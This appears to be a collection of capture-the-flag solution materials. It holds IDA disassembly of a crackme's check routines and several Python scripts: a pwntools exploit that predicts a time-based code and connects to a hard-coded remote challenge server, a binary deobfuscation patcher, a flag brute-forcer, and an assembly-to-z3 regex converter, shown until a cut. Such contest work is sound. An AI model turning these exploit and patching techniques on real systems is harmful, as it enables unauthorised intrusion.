.text:00000000004032B9 sub_4032B9 proc near ; CODE XREF: sub_4036FC+11BC↓p
.text:00000000004032B9
.text:00000000004032B9 var_10 = qword ptr -10h
.text:00000000004032B9 var_8 = qword ptr -8
.text:00000000004032B9
.text:00000000004032B9 ; __unwind {
.text:00000000004032B9 push rbp
.text:00000000004032BA mov rbp, rsp
.text:00000000004032BD mov [rbp+var_8], rdi
.text:00000000004032C1 mov [rbp+var_10], rsi
.text:00000000004032C5 mov rax, [rbp+var_8]
.text:00000000004032C9 movzx eax, byte ptr [rax+0F1h]
.text:00000000004032D0 mov edx, eax
.text:00000000004032D2 mov rax, [rbp+var_10]
.text:00000000004032D6 movzx eax, byte ptr [rax+0F6h]
.text:00000000004032DD add eax, edx
.text:00000000004032DF cmp al, 0DDh
.text:00000000004032E1 jnz short loc_40330D
.text:00000000004032E3 mov rax, [rbp+var_8]
.text:00000000004032E7 movzx eax, byte ptr [rax+0F1h]
.text:00000000004032EE movsx eax, al
.text:00000000004032F1 mov rdx, [rbp+var_10]
.text:00000000004032F5 movzx edx, byte ptr [rdx+0F6h]
.text:00000000004032FC movsx ecx, dl
.text:00000000004032FF cdq
.text:0000000000403300 idiv ecx
.text:0000000000403302 test al, al
.text:0000000000403304 jnz short loc_40330D
.text:0000000000403306 mov eax, 1
.text:000000000040330B jmp short loc_403312
.text:000000000040330D ; ---------------------------------------------------------------------------
.text:000000000040330D
.text:000000000040330D loc_40330D: ; CODE XREF: sub_4032B9+28↑j
.text:000000000040330D ; sub_4032B9+4B↑j
.text:000000000040330D mov eax, 0
.text:0000000000403312
.text:0000000000403312 loc_403312: ; CODE XREF: sub_4032B9+52↑j
.text:0000000000403312 pop rbp
.text:0000000000403313 retn
.text:0000000000403313 ; } // starts at 4032B9
.text:0000000000403313 sub_4032B9 endp
.text:0000000000403313
.text:0000000000403314
.text:0000000000403314 ; =============== S U B R O U T I N E =======================================
.text:0000000000403314
.text:0000000000403314 ; Attributes: bp-based frame
.text:0000000000403314
.text:0000000000403314 sub_403314 proc near ; CODE XREF: sub_4036FC+11DB↓p
.text:0000000000403314
.text:0000000000403314 var_10 = qword ptr -10h
.text:0000000000403314 var_8 = qword ptr -8
.text:0000000000403314
.text:0000000000403314 ; __unwind {
.text:0000000000403314 push rbp
.text:0000000000403315 mov rbp, rsp
.text:0000000000403318 mov [rbp+var_8], rdi
.text:000000000040331C mov [rbp+var_10], rsi
.text:0000000000403320 mov rax, [rbp+var_8]
.text:0000000000403324 movzx eax, word ptr [rax+0E8h]
.text:000000000040332B mov edx, eax
.text:000000000040332D mov rax, [rbp+var_10]
.text:0000000000403331 movzx eax, word ptr [rax+0F2h]
.text:0000000000403338 add eax, edx
.text:000000000040333A cmp ax, 99E0h
.text:000000000040333E jnz short loc_403368
.text:0000000000403340 mov rax, [rbp+var_8]
.text:0000000000403344 movzx eax, word ptr [rax+0E8h]
.text:000000000040334B mov edx, eax
.text:000000000040334D mov rax, [rbp+var_10]
.text:0000000000403351 movzx eax, word ptr [rax+0F2h]
.text:0000000000403358 imul eax, edx
.text:000000000040335B cmp ax, 84F0h
.text:000000000040335F jnz short loc_403368
.text:0000000000403361 mov eax, 1
.text:0000000000403366 jmp short loc_40336D
.text:0000000000403368 ; ---------------------------------------------------------------------------
.text:0000000000403368
.text:0000000000403368 loc_403368: ; CODE XREF: sub_403314+2A↑j
.text:0000000000403368 ; sub_403314+4B↑j
.text:0000000000403368 mov eax, 0
.text:000000000040336D
.text:000000000040336D loc_40336D: ; CODE XREF: sub_403314+52↑j
.text:000000000040336D pop rbp
.text:000000000040336E retn
.text:000000000040336E ; } // starts at 403314
.text:000000000040336E sub_403314 endp
.text:000000000040336E
.text:000000000040336F
.text:000000000040336F ; =============== S U B R O U T I N E =======================================
.text:000000000040336F
.text:000000000040336F ; Attributes: bp-based frame
.text:000000000040336F
.text:000000000040336F sub_40336F proc near ; CODE XREF: sub_4036FC+11FA↓p
.text:000000000040336F
.text:000000000040336F var_10 = qword ptr -10h
.text:000000000040336F var_8 = qword ptr -8
.text:000000000040336F
.text:000000000040336F ; __unwind {
.text:000000000040336F push rbp
.text:0000000000403370 mov rbp, rsp
.text:0000000000403373 mov [rbp+var_8], rdi
.text:0000000000403377 mov [rbp+var_10], rsi
.text:000000000040337B mov rax, [rbp+var_8]
.text:000000000040337F movzx eax, word ptr [rax+0E8h]
.text:0000000000403386 mov edx, eax
.text:0000000000403388 mov rax, [rbp+var_10]
.text:000000000040338C movzx eax, word ptr [rax+0F8h]
.text:0000000000403393 imul eax, edx
.text:0000000000403396 cmp ax, 4580h
.text:000000000040339A jnz short loc_4033C3
.text:000000000040339C mov rax, [rbp+var_8]
.text:00000000004033A0 movzx eax, word ptr [rax+0E8h]
.text:00000000004033A7 mov edx, eax
.text:00000000004033A9 mov rax, [rbp+var_10]
.text:00000000004033AD movzx eax, word ptr [rax+0F8h]
.text:00000000004033B4 add eax, edx
.text:00000000004033B6 cmp ax, 0EB8Ch
.text:00000000004033BA jnz short loc_4033C3
.text:00000000004033BC mov eax, 1
.text:00000000004033C1 jmp short loc_4033C8
.text:00000000004033C3 ; ---------------------------------------------------------------------------
.text:00000000004033C3
.text:00000000004033C3 loc_4033C3: ; CODE XREF: sub_40336F+2B↑j
.text:00000000004033C3 ; sub_40336F+4B↑j
.text:00000000004033C3 mov eax, 0
.text:00000000004033C8
.text:00000000004033C8 loc_4033C8: ; CODE XREF: sub_40336F+52↑j
.text:00000000004033C8 pop rbp
.text:00000000004033C9 retn
.text:00000000004033C9 ; } // starts at 40336F
.text:00000000004033C9 sub_40336F endp
.text:00000000004033C9
.text:00000000004033CA
.text:00000000004033CA ; =============== S U B R O U T I N E =======================================
.text:00000000004033CA
.text:00000000004033CA ; Attributes: bp-based frame
.text:00000000004033CA
.text:00000000004033CA sub_4033CA proc near ; CODE XREF: sub_4036FC+1219↓p
.text:00000000004033CA
.text:00000000004033CA var_10 = qword ptr -10h
.text:00000000004033CA var_8 = qword ptr -8
.text:00000000004033CA
.text:00000000004033CA ; __unwind {
.text:00000000004033CA push rbp
.text:00000000004033CB mov rbp, rsp
.text:00000000004033CE mov [rbp+var_8], rdi
.text:00000000004033D2 mov [rbp+var_10], rsi
.text:00000000004033D6 mov rax, [rbp+var_8]
.text:00000000004033DA movzx eax, byte ptr [rax+0F2h]
.text:00000000004033E1 mov edx, eax
.text:00000000004033E3 mov rax, [rbp+var_10]
.text:00000000004033E7 movzx eax, byte ptr [rax+0F3h]
.text:00000000004033EE add eax, edx
.text:00000000004033F0 cmp al, 94h
.text:00000000004033F2 jnz short loc_40341B
.text:00000000004033F4 mov rax, [rbp+var_8]
.text:00000000004033F8 movzx eax, byte ptr [rax+0F2h]
.text:00000000004033FF mov edx, eax
.text:0000000000403401 mov rax, [rbp+var_10]
.text:0000000000403405 movzx eax, byte ptr [rax+0F3h]
.text:000000000040340C sub edx, eax
.text:000000000040340E mov eax, edx
.text:0000000000403410 cmp al, 54h
.text:0000000000403412 jnz short loc_40341B
.text:0000000000403414 mov eax, 1
.text:0000000000403419 jmp short loc_403420
.text:000000000040341B ; ---------------------------------------------------------------------------
.text:000000000040341B
.text:000000000040341B loc_40341B: ; CODE XREF: sub_4033CA+28↑j
.text:000000000040341B ; sub_4033CA+48↑j
.text:000000000040341B mov eax, 0
.text:0000000000403420
.text:0000000000403420 loc_403420: ; CODE XREF: sub_4033CA+4F↑j
.text:0000000000403420 pop rbp
.text:0000000000403421 retn
.text:0000000000403421 ; } // starts at 4033CA
.text:0000000000403421 sub_4033CA endp
.text:0000000000403421
.text:0000000000403422
.text:0000000000403422 ; =============== S U B R O U T I N E =======================================
.text:0000000000403422
.text:0000000000403422 ; Attributes: bp-based frame
.text:0000000000403422
.text:0000000000403422 sub_403422 proc near ; CODE XREF: sub_4036FC+1238↓p
.text:0000000000403422
.text:0000000000403422 var_10 = qword ptr -10h
.text:0000000000403422 var_8 = qword ptr -8
.text:0000000000403422
.text:0000000000403422 ; __unwind {
.text:0000000000403422 push rbp
.text:0000000000403423 mov rbp, rsp
.text:0000000000403426 mov [rbp+var_8], rdi
.text:000000000040342A mov [rbp+var_10], rsi
.text:000000000040342E mov rax, [rbp+var_8]
.text:0000000000403432 mov edx, [rax+0FCh]
.text:0000000000403438 mov rax, [rbp+var_10]
.text:000000000040343C mov eax, [rax+0F8h]
.text:0000000000403442 add eax, edx
.text:0000000000403444 cmp eax, 0D589E688h
.text:0000000000403449 jnz short loc_403470
.text:000000000040344B mov rax, [rbp+var_8]
.text:000000000040344F mov edx, [rax+0FCh]
.text:0000000000403455 mov rax, [rbp+var_10]
.text:0000000000403459 mov eax, [rax+0F8h]
.text:000000000040345F imul eax, edx
.text:0000000000403462 cmp eax, 0CE8CDD00h
.text:0000000000403467 jnz short loc_403470
.text:0000000000403469 mov eax, 1
.text:000000000040346E jmp short loc_403475
.text:0000000000403470 ; ---------------------------------------------------------------------------
.text:0000000000403470
.text:0000000000403470 loc_403470: ; CODE XREF: sub_403422+27↑j
.text:0000000000403470 ; sub_403422+45↑j
.text:0000000000403470 mov eax, 0
.text:0000000000403475
.text:0000000000403475 loc_403475: ; CODE XREF: sub_403422+4C↑j
.text:0000000000403475 pop rbp
.text:0000000000403476 retn
.text:0000000000403476 ; } // starts at 403422
.text:0000000000403476 sub_403422 endp
.text:0000000000403476
.text:0000000000403477
.text:0000000000403477 ; =============== S U B R O U T I N E =======================================
.text:0000000000403477
.text:0000000000403477 ; Attributes: bp-based frame
.text:0000000000403477
.text:0000000000403477 sub_403477 proc near ; CODE XREF: sub_4036FC+1257↓p
.text:0000000000403477
.text:0000000000403477 var_10 = qword ptr -10h
.text:0000000000403477 var_8 = qword ptr -8
.text:0000000000403477
.text:0000000000403477 ; __unwind {
.text:0000000000403477 push rbp
.text:0000000000403478 mov rbp, rsp
.text:000000000040347B mov [rbp+var_8], rdi
.text:000000000040347F mov [rbp+var_10], rsi
.text:0000000000403483 mov rax, [rbp+var_8]
.text:0000000000403487 movzx eax, word ptr [rax+0ECh]
.text:000000000040348E mov edx, eax
.text:0000000000403490 mov rax, [rbp+var_10]
.text:0000000000403494 movzx eax, word ptr [rax+0F4h]
.text:000000000040349B imul eax, edx
.text:000000000040349E cmp ax, 7F70h
.text:00000000004034A2 jnz short loc_4034CD
.text:00000000004034A4 mov rax, [rbp+var_8]
.text:00000000004034A8 movzx eax, word ptr [rax+0ECh]
.text:00000000004034AF cwde
.text:00000000004034B0 mov rdx, [rbp+var_10]
.text:00000000004034B4 movzx edx, word ptr [rdx+0F4h]
.text:00000000004034BB movsx ecx, dx
.text:00000000004034BE cdq
.text:00000000004034BF idiv ecx
.text:00000000004034C1 test ax, ax
.text:00000000004034C4 jnz short loc_4034CD
.text:00000000004034C6 mov eax, 1
.text:00000000004034CB jmp short loc_4034D2
.text:00000000004034CD ; ---------------------------------------------------------------------------
.text:00000000004034CD
.text:00000000004034CD loc_4034CD: ; CODE XREF: sub_403477+2B↑j
.text:00000000004034CD ; sub_403477+4D↑j
.text:00000000004034CD mov eax, 0
.text:00000000004034D2
.text:00000000004034D2 loc_4034D2: ; CODE XREF: sub_403477+54↑j
.text:00000000004034D2 pop rbp
.text:00000000004034D3 retn
.text:00000000004034D3 ; } // starts at 403477
.text:00000000004034D3 sub_403477 endp
.text:00000000004034D3
.text:00000000004034D4
.text:00000000004034D4 ; =============== S U B R O U T I N E =======================================
.text:00000000004034D4
.text:00000000004034D4 ; Attributes: bp-based frame
.text:00000000004034D4
.text:00000000004034D4 sub_4034D4 proc near ; CODE XREF: sub_4036FC+1276↓p
.text:00000000004034D4
.text:00000000004034D4 var_10 = qword ptr -10h
.text:00000000004034D4 var_8 = qword ptr -8
.text:00000000004034D4
.text:00000000004034D4 ; __unwind {
.text:00000000004034D4 push rbp
.text:00000000004034D5 mov rbp, rsp
.text:00000000004034D8 mov [rbp+var_8], rdi
.text:00000000004034DC mov [rbp+var_10], rsi
.text:00000000004034E0 mov rax, [rbp+var_8]
.text:00000000004034E4 movzx eax, word ptr [rax+0F4h]
.text:00000000004034EB mov edx, eax
.text:00000000004034ED mov rax, [rbp+var_10]
.text:00000000004034F1 movzx eax, word ptr [rax+0FAh]
.text:00000000004034F8 add eax, edx
.text:00000000004034FA cmp ax, 0D6CFh
.text:00000000004034FE jnz short loc_403529
.text:0000000000403500 mov rax, [rbp+var_8]
.text:0000000000403504 movzx eax, word ptr [rax+0F4h]
.text:000000000040350B mov edx, eax
.text:000000000040350D mov rax, [rbp+var_10]
.text:0000000000403511 movzx eax, word ptr [rax+0FAh]
.text:0000000000403518 sub edx, eax
.text:000000000040351A mov eax, edx
.text:000000000040351C cmp ax, 7FDh
.text:0000000000403520 jnz short loc_403529
.text:0000000000403522 mov eax, 1
.text:0000000000403527 jmp short loc_40352E
.text:0000000000403529 ; ---------------------------------------------------------------------------
.text:0000000000403529
.text:0000000000403529 loc_403529: ; CODE XREF: sub_4034D4+2A↑j
.text:0000000000403529 ; sub_4034D4+4C↑j
.text:0000000000403529 mov eax, 0
.text:000000000040352E
.text:000000000040352E loc_40352E: ; CODE XREF: sub_4034D4+53↑j
.text:000000000040352E pop rbp
.text:000000000040352F retn
.text:000000000040352F ; } // starts at 4034D4
.text:000000000040352F sub_4034D4 endp
.text:000000000040352F
.text:0000000000403530
.text:0000000000403530 ; =============== S U B R O U T I N E =======================================
.text:0000000000403530
.text:0000000000403530 ; Attributes: bp-based frame
.text:0000000000403530
.text:0000000000403530 sub_403530 proc near ; CODE XREF: sub_4036FC+1295↓p
.text:0000000000403530
.text:0000000000403530 var_10 = qword ptr -10h
.text:0000000000403530 var_8 = qword ptr -8
.text:0000000000403530
.text:0000000000403530 ; __unwind {
.text:0000000000403530 push rbp
.text:0000000000403531 mov rbp, rsp
.text:0000000000403534 mov [rbp+var_8], rdi
.text:0000000000403538 mov [rbp+var_10], rsi
.text:000000000040353C mov rax, [rbp+var_8]
.text:0000000000403540 movzx eax, word ptr [rax+0FCh]
.text:0000000000403547 mov edx, eax
.text:0000000000403549 mov rax, [rbp+var_10]
.text:000000000040354D movzx eax, word ptr [rax+0FEh]
.text:0000000000403554 imul eax, edx
.text:0000000000403557 cmp ax, 3D00h
.text:000000000040355B jnz short loc_403584
.text:000000000040355D mov rax, [rbp+var_8]
.text:0000000000403561 movzx eax, word ptr [rax+0FCh]
.text:0000000000403568 mov edx, eax
.text:000000000040356A mov rax, [rbp+var_10]
.text:000000000040356E movzx eax, word ptr [rax+0FEh]
.text:0000000000403575 add eax, edx
.text:0000000000403577 cmp ax, 0E288h
.text:000000000040357B jnz short loc_403584
.text:000000000040357D mov eax, 1
.text:0000000000403582 jmp short loc_403589
.text:0000000000403584 ; ---------------------------------------------------------------------------
.text:0000000000403584
.text:0000000000403584 loc_403584: ; CODE XREF: sub_403530+2B↑j
.text:0000000000403584 ; sub_403530+4B↑j
.text:0000000000403584 mov eax, 0
.text:0000000000403589
.text:0000000000403589 loc_403589: ; CODE XREF: sub_403530+52↑j
.text:0000000000403589 pop rbp
.text:000000000040358A retn
.text:000000000040358A ; } // starts at 403530
.text:000000000040358A sub_403530 endp
.text:000000000040358A
.text:000000000040358B
.text:000000000040358B ; =============== S U B R O U T I N E =======================================
.text:000000000040358B
.text:000000000040358B ; Attributes: bp-based frame
.text:000000000040358B
.text:000000000040358B sub_40358B proc near ; CODE XREF: sub_4036FC+12B4↓p
.text:000000000040358B
.text:000000000040358B var_10 = qword ptr -10h
.text:000000000040358B var_8 = qword ptr -8
.text:000000000040358B
.text:000000000040358B ; __unwind {
.text:000000000040358B push rbp
.text:000000000040358C mov rbp, rsp
.text:000000000040358F mov [rbp+var_8], rdi
.text:0000000000403593 mov [rbp+var_10], rsi
.text:0000000000403597 mov rax, [rbp+var_8]
.text:000000000040359B movzx eax, word ptr [rax+100h]
.text:00000000004035A2 mov edx, eax
.text:00000000004035A4 mov rax, [rbp+var_10]
.text:00000000004035A8 movzx eax, word ptr [rax+102h]
.text:00000000004035AF add eax, edx
.text:00000000004035B1 cmp ax, 79DCh
.text:00000000004035B5 jnz short loc_4035E0
.text:00000000004035B7 mov rax, [rbp+var_8]
.text:00000000004035BB movzx eax, word ptr [rax+100h]
.text:00000000004035C2 mov edx, eax
.text:00000000004035C4 mov rax, [rbp+var_10]
.text:00000000004035C8 movzx eax, word ptr [rax+102h]
.text:00000000004035CF sub edx, eax
.text:00000000004035D1 mov eax, edx
.text:00000000004035D3 cmp ax, 64EEh
.text:00000000004035D7 jnz short loc_4035E0
.text:00000000004035D9 mov eax, 1
.text:00000000004035DE jmp short loc_4035E5
.text:00000000004035E0 ; ---------------------------------------------------------------------------
.text:00000000004035E0
.text:00000000004035E0 loc_4035E0: ; CODE XREF: sub_40358B+2A↑j
.text:00000000004035E0 ; sub_40358B+4C↑j
.text:00000000004035E0 mov eax, 0
.text:00000000004035E5
.text:00000000004035E5 loc_4035E5: ; CODE XREF: sub_40358B+53↑j
.text:00000000004035E5 pop rbp
.text:00000000004035E6 retn
.text:00000000004035E6 ; } // starts at 40358B
.text:00000000004035E6 sub_40358B endp
.text:00000000004035E6
.text:00000000004035E7
.text:00000000004035E7 ; =============== S U B R O U T I N E =======================================
.text:00000000004035E7
.text:00000000004035E7 ; Attributes: bp-based frame
.text:00000000004035E7
.text:00000000004035E7 sub_4035E7 proc near ; CODE XREF: sub_4036FC+12D3↓p
.text:00000000004035E7
.text:00000000004035E7 var_10 = qword ptr -10h
.text:00000000004035E7 var_8 = qword ptr -8
.text:00000000004035E7
.text:00000000004035E7 ; __unwind {
.text:00000000004035E7 push rbp
.text:00000000004035E8 mov rbp, rsp
.text:00000000004035EB mov [rbp+var_8], rdi
.text:00000000004035EF mov [rbp+var_10], rsi
.text:00000000004035F3 mov rax, [rbp+var_8]
.text:00000000004035F7 movzx eax, byte ptr [rax+0F7h]
.text:00000000004035FE movsx eax, al
.text:0000000000403601 mov rdx, [rbp+var_10]
.text:0000000000403605 movzx edx, byte ptr [rdx+102h]
.text:000000000040360C movsx ecx, dl
.text:000000000040360F cdq
.text:0000000000403610 idiv ecx
.text:0000000000403612 test al, al
.text:0000000000403614 jnz short loc_40363D
.text:0000000000403616 mov rax, [rbp+var_8]
.text:000000000040361A movzx eax, byte ptr [rax+0F7h]
.text:0000000000403621 mov edx, eax
.text:0000000000403623 mov rax, [rbp+var_10]
.text:0000000000403627 movzx eax, byte ptr [rax+102h]
.text:000000000040362E sub edx, eax
.text:0000000000403630 mov eax, edx
.text:0000000000403632 cmp al, 0EDh
.text:0000000000403634 jnz short loc_40363D
.text:0000000000403636 mov eax, 1
.text:000000000040363B jmp short loc_403642
.text:000000000040363D ; ---------------------------------------------------------------------------
.text:000000000040363D
.text:000000000040363D loc_40363D: ; CODE XREF: sub_4035E7+2D↑j
.text:000000000040363D ; sub_4035E7+4D↑j
.text:000000000040363D mov eax, 0
.text:0000000000403642
.text:0000000000403642 loc_403642: ; CODE XREF: sub_4035E7+54↑j
.text:0000000000403642 pop rbp
.text:0000000000403643 retn
.text:0000000000403643 ; } // starts at 4035E7
.text:0000000000403643 sub_4035E7 endp
.text:0000000000403643
.text:0000000000403644
.text:0000000000403644 ; =============== S U B R O U T I N E =======================================
.text:0000000000403644
.text:0000000000403644 ; Attributes: bp-based frame
.text:0000000000403644
.text:0000000000403644 sub_403644 proc near ; CODE XREF: sub_4036FC+12F2↓p
.text:0000000000403644
.text:0000000000403644 var_10 = qword ptr -10h
.text:0000000000403644 var_8 = qword ptr -8
.text:0000000000403644
.text:0000000000403644 ; __unwind {
.text:0000000000403644 push rbp
.text:0000000000403645 mov rbp, rsp
.text:0000000000403648 mov [rbp+var_8], rdi
.text:000000000040364C mov [rbp+var_10], rsi
.text:0000000000403650 mov rax, [rbp+var_8]
.text:0000000000403654 movzx eax, byte ptr [rax+0F7h]
.text:000000000040365B movsx eax, al
.text:000000000040365E mov rdx, [rbp+var_10]
.text:0000000000403662 movzx edx, byte ptr [rdx+103h]
.text:0000000000403669 movsx esi, dl
.text:000000000040366C cdq
.text:000000000040366D idiv esi
.text:000000000040366F cmp al, 0Ah
.text:0000000000403671 jnz short loc_40369D
.text:0000000000403673 mov rax, [rbp+var_8]
.text:0000000000403677 movzx eax, byte ptr [rax+0F7h]
.text:000000000040367E mov ecx, eax
.text:0000000000403680 mov rax, [rbp+var_10]
.text:0000000000403684 movzx eax, byte ptr [rax+103h]
.text:000000000040368B mov edx, eax
.text:000000000040368D mov eax, ecx
.text:000000000040368F imul eax, edx
.text:0000000000403692 cmp al, 0E8h
.text:0000000000403694 jnz short loc_40369D
.text:0000000000403696 mov eax, 1
.text:000000000040369B jmp short loc_4036A2
.text:000000000040369D ; ---------------------------------------------------------------------------
.text:000000000040369D
.text:000000000040369D loc_40369D: ; CODE XREF: sub_403644+2D↑j
.text:000000000040369D ; sub_403644+50↑j
.text:000000000040369D mov eax, 0
.text:00000000004036A2
.text:00000000004036A2 loc_4036A2: ; CODE XREF: sub_403644+57↑j
.text:00000000004036A2 pop rbp
.text:00000000004036A3 retn
.text:00000000004036A3 ; } // starts at 403644
.text:00000000004036A3 sub_403644 endp
.text:00000000004036A3
.text:00000000004036A4
.text:00000000004036A4 ; =============== S U B R O U T I N E =======================================
.text:00000000004036A4
.text:00000000004036A4 ; Attributes: bp-based frame
.text:00000000004036A4
.text:00000000004036A4 sub_4036A4 proc near ; CODE XREF: sub_4036FC+1311↓p
.text:00000000004036A4
.text:00000000004036A4 var_10 = qword ptr -10h
.text:00000000004036A4 var_8 = qword ptr -8
.text:00000000004036A4
.text:00000000004036A4 ; __unwind {
.text:00000000004036A4 push rbp
.text:00000000004036A5 mov rbp, rsp
.text:00000000004036A8 mov [rbp+var_8], rdi
.text:00000000004036AC mov [rbp+var_10], rsi
.text:00000000004036B0 mov rax, [rbp+var_8]
.text:00000000004036B4 movzx eax, byte ptr [rax+101h]
.text:00000000004036BB mov edx, eax
.text:00000000004036BD mov rax, [rbp+var_10]
.text:00000000004036C1 movzx eax, byte ptr [rax+0DDh]
.text:00000000004036C8 sub edx, eax
.text:00000000004036CA mov eax, edx
.text:00000000004036CC cmp al, 0FBh
.text:00000000004036CE jnz short loc_4036F5
.text:00000000004036D0 mov rax, [rbp+var_8]
.text:00000000004036D4 movzx eax, byte ptr [rax+101h]
.text:00000000004036DB mov edx, eax
.text:00000000004036DD mov rax, [rbp+var_10]
.text:00000000004036E1 movzx eax, byte ptr [rax+0DDh]
.text:00000000004036E8 add eax, edx
.text:00000000004036EA cmp al, 0E3h
.text:00000000004036EC jnz short loc_4036F5
.text:00000000004036EE mov eax, 1
.text:00000000004036F3 jmp short loc_4036FA
.text:00000000004036F5 ; ---------------------------------------------------------------------------
.text:00000000004036F5
.text:00000000004036F5 loc_4036F5: ; CODE XREF: sub_4036A4+2A↑j
.text:00000000004036F5 ; sub_4036A4+48↑j
.text:00000000004036F5 mov eax, 0
.text:00000000004036FA
.text:00000000004036FA loc_4036FA: ; CODE XREF: sub_4036A4+4F↑j
.text:00000000004036FA pop rbp
.text:00000000004036FB retn
.text:00000000004036FB ; } // starts at 4036A4
.text:00000000004036FB sub_4036A4 endp
.text:00000000004036FB
#!/usr/bin/env python
# easy_heap_trick
from pwn import *
from ctypes import *
libc = CDLL("libc.so.6")
t = libc.time(0)
x = ((t - 300) % 100000)
y = 331337
n = x ^ y
print str(n)
io = remote('137.117.216.128', 53123)
io.recvuntil('[*] Please enter your tracking code:')
io.send(str(n) + '\x00'+'\n\n')
io.interactive()
from pwn import *
e = ELF("./unconventional_patched_p")
def patch(where, what):
print("patch " + what.encode("hex") + " @ " + hex(where))
e.write(where, what)
try:
bigstack = []
rip = eval(sys.argv[1]) # argv[1] is the starting address, as this doesn't explore the whole binary in one go; it must be run multiple times
rbx = None
while rip < 0x406A00: # approx befre the end
d = e.read(rip, 2).encode("hex")
op1 = u32(e.read(rip+2, 4))
print("A", hex(rip), d, op1)
if d == "48bb": # mov rbx, imm64
print(e.read(rip,31).encode("hex"))
assert(e.read(rip, 31) == "48BB013EBFC50000000048891D0E000000DF2D08000000D9FADD0D00000000".decode("hex"))
patch(rip, "\x90"*31)
patch(rip+31, "\xff\xe0") # jmp rax
print("STOPPING @ " + hex(rip+31))
break
elif d == "df2d": # fild => beginning of thingy
stack = []
where = (op1 + rip + 6) % 0x100000000
stack += [struct.unpack("Q", e.read(where, 8))[0]]
print(stack)
start_addr = rip
end_addr = None
deob_addr = None
deob_value = None
mov_nop = 0
mov_zero = 0
rip += 6
while end_addr == None:
if rip == deob_addr:
print("C")
rip += 8
d = e.read(rip, 2).encode("hex")
op1 = u32(e.read(rip+2, 4))
print("B", hex(rip), d, op1)
if d == "dd0d": # fisttp
where = (op1 + rip + 6) % 0x100000000
rip += 6
if where >= rip:
deob_addr = where
deob_value = p64(int(stack[-1]))
stack = stack[:-1]
else:
# this is the cleanup fisttp -> the last instruction in the stub
end_addr = rip
elif d == "da05": # fiadd
where = (op1 + rip + 6) % 0x100000000
rip += 6
stack[-1] += float(u32(e.read(where, 4)))
elif d == "da25": # fisub
where = (op1 + rip + 6) % 0x100000000
rip += 6
stack[-1] -= float(u32(e.read(where, 4)))
elif d == "d9fa": # sqrt
rip += 2
stack[-1] **= 0.5
elif d == "da0d": # fimul
where = (op1 + rip + 6) % 0x100000000
stack[-1] *= float(u32(e.read(where, 4)))
rip += 6
elif d == "c605": # mov 0x90/0
v = e.read(rip+6, 1)
if v == "\x90":
mov_nop += 1
elif v == "\x00":
mov_zero += 1
else:
raise "mov that isn't 90 or 00"
rip += 7
elif d == "df2d": # fild for the erase
where = (op1 + rip + 6) % 0x100000000
stack += [struct.unpack("Q", e.read(where, 8))[0]]
rip += 6
assert(mov_zero == mov_nop)
print(hex(start_addr), hex(end_addr))
print("spare " + hex(deob_addr))
patch(start_addr, "\x90"*(deob_addr - start_addr))
deob_bytes = list(deob_value.ljust(8, "\x00"))
for i in range(7, 7-mov_nop, -1):
deob_bytes[i] = chr(0x90)
patch(deob_addr, ''.join(deob_bytes))
patch(deob_addr+8, "\x90"*(end_addr-deob_addr-8))
elif d == "dd05": # fld
"""
mov rax, 0x400d91
mov xxx, rax
fld xxx
proceeds to write an instrution over xxx
"""
value = u32(e.read(rip-11, 4))
bigstack += [value]
print("CALL_PUSH " + hex(value))
rip += 6
else:
rip += 1 # i won't decode other instructions so I don't know how much to skip. I really hope there aren't any DF 2D bytes inside other instructions, that would throw this boi off
except Exception as er:
print("Hopefully this means out of bounds")
print(er)
e.save("./unconventional_patched_p")
import itertools
r8 = 0x7F7F7F80
r9 = 0x5BDBD764
r10 = 0xFECAC280
r12 = 0x69B5BD90
r13 = 0x8AC68AD8
r14 = 0x61819DA6
r15 = 0x7FFFFFFE
for perm in itertools.permutations([r8,r9,r10,r12,r13,r14,r15]):
text = ""
for i in range(32):
x = 0
for j in range(7):
x =x * 2 + ((perm[j] >> i) & 1)
text += chr(x)
if "PTBCTF" in text:
print(text)
rules = [
# The first few regexes are for deleting irrelevant stuff: ida comments, function prologues and endings, etc
(r"^......................\s?", ""),
(r"; =============== S U B R O U T I N E =======================================", '""", """'),
(r";.*", ""),
("^\s+", ""),
(r"\n{2,}", "\n"),
(r"^sub_......\s+proc near.*\nvar_10.*\nvar_8.*\n", ""),
(r"push\s+rbp\nmov\s+rbp, rsp\nmov\s+\[rbp\+var_8\], rdi\nmov\s+\[rbp\+var_10\], rsi\n", ""),
(r"mov\s+eax, 1\njmp\s+short loc_......\nloc_......:\s+\nmov\s+eax, 0\nloc_......:\s+\npop\s+rbp\nretn\nsub_......\s+endp\n", ""),
# replace `byte ptr [rax]` with `byte ptr [rax+0]` so that the following "array index regexes" work
(r"ptr \[(\w+)\]", r"ptr [\1+0]"),
# Transform ida's 123ABCh to python's 0x123ABC
(r"\b([0-9A-F]+)h?\b", r"0x\1"),
# This is a shortcut to a reocurring structure:
# mov rax, [rbp+var_8]
# mov eax, [rax+offset]
# which can be shortened to `eax = s[offset]`
(r"mov\s+(r[abcd]x), \[rbp\+var_(?:8|10)\]\n(.*)\[\1\+(0x\w+)\]", r"\2 [s+\3]"),
# mov instructions which take stuff from the input buffer and either zero or sign extend that
(r"movzx\s+(e[abcd]x), byte ptr\s+\[s\+(0x\w+)\]", r"\1 = ZeroExt(24, s[\2])"),
(r"movzx\s+(e[abcd]x), word ptr\s+\[s\+(0x\w+)\]", r"\1 = ZeroExt(16, s_word[\2])"),
(r"mov\s+(e[abcd]x),\s+\[s\+(0x\w+)\]", r"\1 = s_dword[\2]"),
# register-register mov
(r"mov\s+(e[abcd]x), (e[abcd]x)", r"\1 = \2"),
# These might as well just be erased completely, they're just a compiler atrifact
(r"cwde", "eax = SignExt(16, eax & 0xffff)"),
(r"cdq", "edx = 0xffffffff * (eax >> 31)"),
# Sign extends so that z3 doesn't complain about incompatible bitvec sizes
(r"movsx\s+(e[abcd]x|esi), (\wx)", r"\1 = SignExt(16,\2)"),
(r"movsx\s+(e[abcd]x|esi), (\w[lh])", r"\1 = SignExt(24,\2)"),
# integer arithmetic
(r"idiv\s+(e[abcd]x|esi)", r"eax /= \1"),
(r"imul\s+(e[abcd]x), (e[abcd]x)", r"\1 *= \2"),
(r"add\s+(e[abcd]x), (e[abcd]x)", r"\1 += \2"),
(r"sub\s+(e[abcd]x), (e[abcd]x)", r"\1 -= \2"),
# Load part of the input as a float/double - endianness matters!
(r"movss\s+(xmm[01]), dword ptr\s+\[s\+(0x\w+)\]", r"\1 = s_float[\2]"),
(r"movsd\s+(xmm[01]), qword ptr\s+\[s\+(0x\w+)\]", r"\1 = s_double[\2]"),
# single precision float arithmetic
(r"divss\s+(xmm[01]), (xmm[01])", r"\1 /= \2"),
